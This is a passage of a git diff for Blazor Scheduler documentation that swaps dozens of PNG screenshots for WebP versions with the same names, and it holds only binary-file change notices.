diff --git a/blazor/scheduler/images/blazor-scheduler-celldimension-celltemplate.webp b/blazor/scheduler/images/blazor-scheduler-celldimension-celltemplate.webp
new file mode 100644
index 0000000000..e720b82c86
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-celldimension-celltemplate.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-celldimension-timelineviews.png b/blazor/scheduler/images/blazor-scheduler-celldimension-timelineviews.png
deleted file mode 100644
index 05e9230888..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-celldimension-timelineviews.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-celldimension-timelineviews.webp b/blazor/scheduler/images/blazor-scheduler-celldimension-timelineviews.webp
new file mode 100644
index 0000000000..4a3da06824
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-celldimension-timelineviews.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-celldimension-verticalviews.png b/blazor/scheduler/images/blazor-scheduler-celldimension-verticalviews.png
deleted file mode 100644
index 17a3253847..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-celldimension-verticalviews.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-celldimension-verticalviews.webp b/blazor/scheduler/images/blazor-scheduler-celldimension-verticalviews.webp
new file mode 100644
index 0000000000..296b8b44c8
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-celldimension-verticalviews.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-contextmenu.png b/blazor/scheduler/images/blazor-scheduler-contextmenu.png
deleted file mode 100644
index d969f1a221..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-contextmenu.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-contextmenu.webp b/blazor/scheduler/images/blazor-scheduler-contextmenu.webp
new file mode 100644
index 0000000000..c284e098df
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-contextmenu.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-editor-header-footer.png b/blazor/scheduler/images/blazor-scheduler-custom-editor-header-footer.png
deleted file mode 100644
index 0e56546367..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-custom-editor-header-footer.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-editor-header-footer.webp b/blazor/scheduler/images/blazor-scheduler-custom-editor-header-footer.webp
new file mode 100644
index 0000000000..8d8e6999f4
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-custom-editor-header-footer.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-editor-with-validation.png b/blazor/scheduler/images/blazor-scheduler-custom-editor-with-validation.png
deleted file mode 100644
index 4de17f85c2..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-custom-editor-with-validation.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-editor-with-validation.webp b/blazor/scheduler/images/blazor-scheduler-custom-editor-with-validation.webp
new file mode 100644
index 0000000000..0f245a30a2
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-custom-editor-with-validation.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-label.png b/blazor/scheduler/images/blazor-scheduler-custom-label.png
deleted file mode 100644
index 0bc5348259..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-custom-label.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-label.webp b/blazor/scheduler/images/blazor-scheduler-custom-label.webp
new file mode 100644
index 0000000000..5333bf3d97
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-custom-label.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-resource-header.png b/blazor/scheduler/images/blazor-scheduler-custom-resource-header.png
deleted file mode 100644
index 8bcc5feb2b..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-custom-resource-header.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-resource-header.webp b/blazor/scheduler/images/blazor-scheduler-custom-resource-header.webp
new file mode 100644
index 0000000000..ae7ca02b30
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-custom-resource-header.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-timecell.png b/blazor/scheduler/images/blazor-scheduler-custom-timecell.png
deleted file mode 100644
index 5bda62142c..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-custom-timecell.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-timecell.webp b/blazor/scheduler/images/blazor-scheduler-custom-timecell.webp
new file mode 100644
index 0000000000..23b952fc45
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-custom-timecell.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-toolbar.png b/blazor/scheduler/images/blazor-scheduler-custom-toolbar.png
deleted file mode 100644
index 5dad59964a..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-custom-toolbar.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-toolbar.webp b/blazor/scheduler/images/blazor-scheduler-custom-toolbar.webp
new file mode 100644
index 0000000000..6ff3baa8c0
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-custom-toolbar.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-window-validation.png b/blazor/scheduler/images/blazor-scheduler-custom-window-validation.png
deleted file mode 100644
index 2d3ec370c6..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-custom-window-validation.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-window-validation.webp b/blazor/scheduler/images/blazor-scheduler-custom-window-validation.webp
new file mode 100644
index 0000000000..ec2f0258bd
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-custom-window-validation.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-window-with-recurrence.png b/blazor/scheduler/images/blazor-scheduler-custom-window-with-recurrence.png
deleted file mode 100644
index 604cf09b54..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-custom-window-with-recurrence.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-window-with-recurrence.webp b/blazor/scheduler/images/blazor-scheduler-custom-window-with-recurrence.webp
new file mode 100644
index 0000000000..c39f45d260
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-custom-window-with-recurrence.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-window-with-resource.png b/blazor/scheduler/images/blazor-scheduler-custom-window-with-resource.png
deleted file mode 100644
index 3305dd57ce..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-custom-window-with-resource.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-window-with-resource.webp b/blazor/scheduler/images/blazor-scheduler-custom-window-with-resource.webp
new file mode 100644
index 0000000000..b6d19390dd
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-custom-window-with-resource.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-word-in-resx.png b/blazor/scheduler/images/blazor-scheduler-custom-word-in-resx.png
deleted file mode 100644
index c99e856081..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-custom-word-in-resx.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-custom-word-in-resx.webp b/blazor/scheduler/images/blazor-scheduler-custom-word-in-resx.webp
new file mode 100644
index 0000000000..a5d3739ff6
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-custom-word-in-resx.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-customize-dateheader.png b/blazor/scheduler/images/blazor-scheduler-customize-dateheader.png
deleted file mode 100644
index 749a319ae2..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-customize-dateheader.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-customize-dateheader.webp b/blazor/scheduler/images/blazor-scheduler-customize-dateheader.webp
new file mode 100644
index 0000000000..835304e9e8
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-customize-dateheader.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-dateformat.png b/blazor/scheduler/images/blazor-scheduler-dateformat.png
deleted file mode 100644
index ec436b245b..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-dateformat.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-dateformat.webp b/blazor/scheduler/images/blazor-scheduler-dateformat.webp
new file mode 100644
index 0000000000..6e29877709
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-dateformat.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-displayhours.png b/blazor/scheduler/images/blazor-scheduler-displayhours.png
deleted file mode 100644
index e28b25c25c..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-displayhours.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-displayhours.webp b/blazor/scheduler/images/blazor-scheduler-displayhours.webp
new file mode 100644
index 0000000000..03c65aa4aa
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-displayhours.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-editing-events.png b/blazor/scheduler/images/blazor-scheduler-editing-events.png
deleted file mode 100644
index 1647fbfab4..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-editing-events.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-editing-events.webp b/blazor/scheduler/images/blazor-scheduler-editing-events.webp
new file mode 100644
index 0000000000..af8dbe93f1
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-editing-events.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-editing-local-word.png b/blazor/scheduler/images/blazor-scheduler-editing-local-word.png
deleted file mode 100644
index 95a88a369e..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-editing-local-word.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-editing-local-word.webp b/blazor/scheduler/images/blazor-scheduler-editing-local-word.webp
new file mode 100644
index 0000000000..1b5b049ea2
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-editing-local-word.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-event-click-quick-popup.png b/blazor/scheduler/images/blazor-scheduler-event-click-quick-popup.png
deleted file mode 100644
index 9951717c33..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-event-click-quick-popup.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-event-click-quick-popup.webp b/blazor/scheduler/images/blazor-scheduler-event-click-quick-popup.webp
new file mode 100644
index 0000000000..03230e00de
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-event-click-quick-popup.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-excel-date-format.png b/blazor/scheduler/images/blazor-scheduler-excel-date-format.png
deleted file mode 100644
index 1a198a1779..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-excel-date-format.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-excel-date-format.webp b/blazor/scheduler/images/blazor-scheduler-excel-date-format.webp
new file mode 100644
index 0000000000..5c3edc7056
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-excel-date-format.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-excel-export-custom-fields.png b/blazor/scheduler/images/blazor-scheduler-excel-export-custom-fields.png
deleted file mode 100644
index f321d7a620..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-excel-export-custom-fields.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-excel-export-custom-fields.webp b/blazor/scheduler/images/blazor-scheduler-excel-export-custom-fields.webp
new file mode 100644
index 0000000000..ec54bc17e2
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-excel-export-custom-fields.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-excel-export-custom-header.png b/blazor/scheduler/images/blazor-scheduler-excel-export-custom-header.png
deleted file mode 100644
index f9e80d61a6..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-excel-export-custom-header.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-excel-export-custom-header.webp b/blazor/scheduler/images/blazor-scheduler-excel-export-custom-header.webp
new file mode 100644
index 0000000000..c44a4d3cc3
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-excel-export-custom-header.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-excel-export.png b/blazor/scheduler/images/blazor-scheduler-excel-export.png
deleted file mode 100644
index 15be8ad098..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-excel-export.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-excel-export.webp b/blazor/scheduler/images/blazor-scheduler-excel-export.webp
new file mode 100644
index 0000000000..d6c48e0437
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-excel-export.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-graphql-frontend.png b/blazor/scheduler/images/blazor-scheduler-graphql-frontend.png
deleted file mode 100644
index a00127cd82..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-graphql-frontend.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-graphql-frontend.webp b/blazor/scheduler/images/blazor-scheduler-graphql-frontend.webp
new file mode 100644
index 0000000000..5c05054b78
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-graphql-frontend.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-grouping.png b/blazor/scheduler/images/blazor-scheduler-grouping.png
deleted file mode 100644
index f12a656982..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-grouping.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-grouping.webp b/blazor/scheduler/images/blazor-scheduler-grouping.webp
new file mode 100644
index 0000000000..23f37e6efb
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-grouping.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-header-bar-popup.PNG b/blazor/scheduler/images/blazor-scheduler-header-bar-popup.PNG
deleted file mode 100644
index bcefad6427..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-header-bar-popup.PNG and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-header-bar-popup.webp b/blazor/scheduler/images/blazor-scheduler-header-bar-popup.webp
new file mode 100644
index 0000000000..ea01b5c015
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-header-bar-popup.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-header-cells.png b/blazor/scheduler/images/blazor-scheduler-header-cells.png
deleted file mode 100644
index 7266e8a7b1..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-header-cells.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-header-cells.webp b/blazor/scheduler/images/blazor-scheduler-header-cells.webp
new file mode 100644
index 0000000000..6075f96baa
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-header-cells.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-header-template.png b/blazor/scheduler/images/blazor-scheduler-header-template.png
deleted file mode 100644
index 76763f9f6d..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-header-template.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-header-template.webp b/blazor/scheduler/images/blazor-scheduler-header-template.webp
new file mode 100644
index 0000000000..86340e2c8d
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-header-template.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-headerrow-custom-header.png b/blazor/scheduler/images/blazor-scheduler-headerrow-custom-header.png
deleted file mode 100644
index 3244f1cf3b..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-headerrow-custom-header.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-headerrow-custom-header.webp b/blazor/scheduler/images/blazor-scheduler-headerrow-custom-header.webp
new file mode 100644
index 0000000000..ac99e35402
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-headerrow-custom-header.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-headerrow-dates.png b/blazor/scheduler/images/blazor-scheduler-headerrow-dates.png
deleted file mode 100644
index 35cf242c89..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-headerrow-dates.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-headerrow-dates.webp b/blazor/scheduler/images/blazor-scheduler-headerrow-dates.webp
new file mode 100644
index 0000000000..b97dace39c
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-headerrow-dates.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-headerrow-default.png b/blazor/scheduler/images/blazor-scheduler-headerrow-default.png
deleted file mode 100644
index 46fc0dc048..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-headerrow-default.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-headerrow-default.webp b/blazor/scheduler/images/blazor-scheduler-headerrow-default.webp
new file mode 100644
index 0000000000..1ba9c3dde0
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-headerrow-default.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-headerrow-month-year.png b/blazor/scheduler/images/blazor-scheduler-headerrow-month-year.png
deleted file mode 100644
index fbe38019e9..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-headerrow-month-year.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-headerrow-month-year.webp b/blazor/scheduler/images/blazor-scheduler-headerrow-month-year.webp
new file mode 100644
index 0000000000..eeb83e3bd1
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-headerrow-month-year.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-headerrow-weeknumber.png b/blazor/scheduler/images/blazor-scheduler-headerrow-weeknumber.png
deleted file mode 100644
index 9c636dd02d..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-headerrow-weeknumber.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-headerrow-weeknumber.webp b/blazor/scheduler/images/blazor-scheduler-headerrow-weeknumber.webp
new file mode 100644
index 0000000000..f70275c84d
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-headerrow-weeknumber.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-hide-header-bar.png b/blazor/scheduler/images/blazor-scheduler-hide-header-bar.png
deleted file mode 100644
index 3184726702..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-hide-header-bar.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-hide-header-bar.webp b/blazor/scheduler/images/blazor-scheduler-hide-header-bar.webp
new file mode 100644
index 0000000000..aac216b851
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-hide-header-bar.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-hide-non-working-days.png b/blazor/scheduler/images/blazor-scheduler-hide-non-working-days.png
deleted file mode 100644
index b927cca6c4..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-hide-non-working-days.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-hide-non-working-days.webp b/blazor/scheduler/images/blazor-scheduler-hide-non-working-days.webp
new file mode 100644
index 0000000000..cb6d965f27
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-hide-non-working-days.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-hide-timecell.png b/blazor/scheduler/images/blazor-scheduler-hide-timecell.png
deleted file mode 100644
index 34504c64ac..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-hide-timecell.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-hide-timecell.webp b/blazor/scheduler/images/blazor-scheduler-hide-timecell.webp
new file mode 100644
index 0000000000..2d5c2d5626
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-hide-timecell.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-hide-weekend.png b/blazor/scheduler/images/blazor-scheduler-hide-weekend.png
deleted file mode 100644
index 36d818cedf..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-hide-weekend.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-hide-weekend.webp b/blazor/scheduler/images/blazor-scheduler-hide-weekend.webp
new file mode 100644
index 0000000000..25b2121a96
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-hide-weekend.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-highlight.png b/blazor/scheduler/images/blazor-scheduler-highlight.png
deleted file mode 100644
index 54883269f1..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-highlight.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-highlight.webp b/blazor/scheduler/images/blazor-scheduler-highlight.webp
new file mode 100644
index 0000000000..65ed368000
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-highlight.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-ignore-whitespace.png b/blazor/scheduler/images/blazor-scheduler-ignore-whitespace.png
deleted file mode 100644
index c3493504b5..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-ignore-whitespace.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-ignore-whitespace.webp b/blazor/scheduler/images/blazor-scheduler-ignore-whitespace.webp
new file mode 100644
index 0000000000..93998d0adf
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-ignore-whitespace.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-maui-app.png b/blazor/scheduler/images/blazor-scheduler-maui-app.png
deleted file mode 100644
index 0fd8e96f32..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-maui-app.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-maui-app.webp b/blazor/scheduler/images/blazor-scheduler-maui-app.webp
new file mode 100644
index 0000000000..8eaa12ca28
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-maui-app.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-min-max-date.png b/blazor/scheduler/images/blazor-scheduler-min-max-date.png
deleted file mode 100644
index 0a489064fa..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-min-max-date.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-min-max-date.webp b/blazor/scheduler/images/blazor-scheduler-min-max-date.webp
new file mode 100644
index 0000000000..cf0bd2aacf
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-min-max-date.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-monthagenda-othermonth-workcells.png b/blazor/scheduler/images/blazor-scheduler-monthagenda-othermonth-workcells.png
deleted file mode 100644
index 1ac054a38b..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-monthagenda-othermonth-workcells.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-monthagenda-othermonth-workcells.webp b/blazor/scheduler/images/blazor-scheduler-monthagenda-othermonth-workcells.webp
new file mode 100644
index 0000000000..d7a91923f3
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-monthagenda-othermonth-workcells.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-monthagenda-workcells.png b/blazor/scheduler/images/blazor-scheduler-monthagenda-workcells.png
deleted file mode 100644
index ee55c74e3f..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-monthagenda-workcells.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-monthagenda-workcells.webp b/blazor/scheduler/images/blazor-scheduler-monthagenda-workcells.webp
new file mode 100644
index 0000000000..d1978b480e
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-monthagenda-workcells.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-monthview-workcells.png b/blazor/scheduler/images/blazor-scheduler-monthview-workcells.png
deleted file mode 100644
index 9bc9a2ed90..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-monthview-workcells.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-monthview-workcells.webp b/blazor/scheduler/images/blazor-scheduler-monthview-workcells.webp
new file mode 100644
index 0000000000..451b1437fa
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-monthview-workcells.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-more-event-popup.png b/blazor/scheduler/images/blazor-scheduler-more-event-popup.png
deleted file mode 100644
index 80f3d4030c..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-more-event-popup.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-more-event-popup.webp b/blazor/scheduler/images/blazor-scheduler-more-event-popup.webp
new file mode 100644
index 0000000000..3de1f766d7
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-more-event-popup.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-multiple-block-events.png b/blazor/scheduler/images/blazor-scheduler-multiple-block-events.png
deleted file mode 100644
index 4c04e45d70..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-multiple-block-events.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-multiple-block-events.webp b/blazor/scheduler/images/blazor-scheduler-multiple-block-events.webp
new file mode 100644
index 0000000000..f2b164f18d
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-multiple-block-events.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-multiple-columns.png b/blazor/scheduler/images/blazor-scheduler-multiple-columns.png
deleted file mode 100644
index b6d819861e..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-multiple-columns.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-multiple-columns.webp b/blazor/scheduler/images/blazor-scheduler-multiple-columns.webp
new file mode 100644
index 0000000000..2edce63e6e
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-multiple-columns.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-multiplelevel.png b/blazor/scheduler/images/blazor-scheduler-multiplelevel.png
deleted file mode 100644
index 6435b0191b..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-multiplelevel.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-multiplelevel.webp b/blazor/scheduler/images/blazor-scheduler-multiplelevel.webp
new file mode 100644
index 0000000000..3d5afddac6
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-multiplelevel.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-multipleresources.png b/blazor/scheduler/images/blazor-scheduler-multipleresources.png
deleted file mode 100644
index 3e8efb631c..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-multipleresources.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-multipleresources.webp b/blazor/scheduler/images/blazor-scheduler-multipleresources.webp
new file mode 100644
index 0000000000..054ac2608a
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-multipleresources.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-othermonth-workcells.png b/blazor/scheduler/images/blazor-scheduler-othermonth-workcells.png
deleted file mode 100644
index 47a502cd42..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-othermonth-workcells.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-othermonth-workcells.webp b/blazor/scheduler/images/blazor-scheduler-othermonth-workcells.webp
new file mode 100644
index 0000000000..248f8a17f2
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-othermonth-workcells.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-overlapping-events.PNG b/blazor/scheduler/images/blazor-scheduler-overlapping-events.PNG
deleted file mode 100644
index 4fdddd2cf0..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-overlapping-events.PNG and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-overlapping-events.webp b/blazor/scheduler/images/blazor-scheduler-overlapping-events.webp
new file mode 100644
index 0000000000..5052d5325c
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-overlapping-events.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-parentandchild-resource-cells-timeline-month-view.png b/blazor/scheduler/images/blazor-scheduler-parentandchild-resource-cells-timeline-month-view.png
deleted file mode 100644
index 981d13fbfb..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-parentandchild-resource-cells-timeline-month-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-parentandchild-resource-cells-timeline-month-view.webp b/blazor/scheduler/images/blazor-scheduler-parentandchild-resource-cells-timeline-month-view.webp
new file mode 100644
index 0000000000..017090a988
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-parentandchild-resource-cells-timeline-month-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-postgresql-database.png b/blazor/scheduler/images/blazor-scheduler-postgresql-database.png
deleted file mode 100644
index 2e9ea3eb4f..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-postgresql-database.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-postgresql-database.webp b/blazor/scheduler/images/blazor-scheduler-postgresql-database.webp
new file mode 100644
index 0000000000..cd3c26f531
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-postgresql-database.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-postgresql-frontend.png b/blazor/scheduler/images/blazor-scheduler-postgresql-frontend.png
deleted file mode 100644
index d281d1e087..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-postgresql-frontend.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-postgresql-frontend.webp b/blazor/scheduler/images/blazor-scheduler-postgresql-frontend.webp
new file mode 100644
index 0000000000..40266a2743
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-postgresql-frontend.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-readonly-appointments.png b/blazor/scheduler/images/blazor-scheduler-readonly-appointments.png
deleted file mode 100644
index 02a6c34a13..0000000000
